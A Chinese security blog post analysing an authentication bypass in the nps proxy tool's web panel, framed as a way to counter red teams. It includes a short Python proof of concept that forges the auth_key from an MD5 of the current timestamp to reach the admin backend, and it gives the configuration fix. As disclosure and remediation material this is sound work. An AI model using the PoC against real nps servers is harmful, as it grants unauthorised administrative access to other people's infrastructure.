hvv反制红队第一章之nps代理工具0day漏洞分析

admin 2022年8月7日10:32:40评论827 views字数 892阅读2分58秒阅读模式

简介

nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发,可支持任何tcp、udp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析等等……),此外还支持内网http代理、内网socks5代理、p2p等,并带有功能强大的web管理端。

漏洞分析

nps的web端使用beego框架,重写了Prepare函数,在该函数中进行了权限控制。漏洞文件在web/controllers/index.go。如图:

hvv反制红队第一章之nps代理工具0day漏洞分析

-w1105

只需要配置文件中auth_key的内容即可通过验证,设置session中的isadmin为true。在nps的配置文件中,auth_key默认是被注释的。

hvv反制红队第一章之nps代理工具0day漏洞分析

-w675

所以代码中beego.AppConfig.String("auth_key")获取的结果就是空。这样crypt.Md5(configKey+strconv.Itoa(timestamp)就相当于只需要把timestamp进行md5即可。poc:

import time
import hashlib
now = time.time()
m = hashlib.md5()
m.update(str(int(now)).encode("utf8"))
auth_key = m.hexdigest()

print("Index/Index?auth_key=%s&timestamp=%s" % (auth_key,int(now)))

只需要在post内容中添加auth_key和timestamp两个参数,分别对应md5(timestamp)和timestamp即可。直接访问生成的url可以看到后台

hvv反制红队第一章之nps代理工具0day漏洞分析

-w978

auth_key和timestamp的时效只有20s,所以需要不停的生成。并且需要手动添加到get请求和着post请求的参数中。下图为client列表接口。

hvv反制红队第一章之nps代理工具0day漏洞分析

-w1656

漏洞修复

只需要在配置文件里去掉auth_key的注释即可,当然肯定也得改掉默认密钥test

hvv反制红队第一章之nps代理工具0day漏洞分析

-w412

原文始发于微信公众号(千寻瀑):hvv反制红队第一章之nps代理工具0day漏洞分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年8月7日10:32:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   hvv反制红队第一章之nps代理工具0day漏洞分析https://cn-sec.com/archives/1221874.html

发表评论

匿名网友 填写信息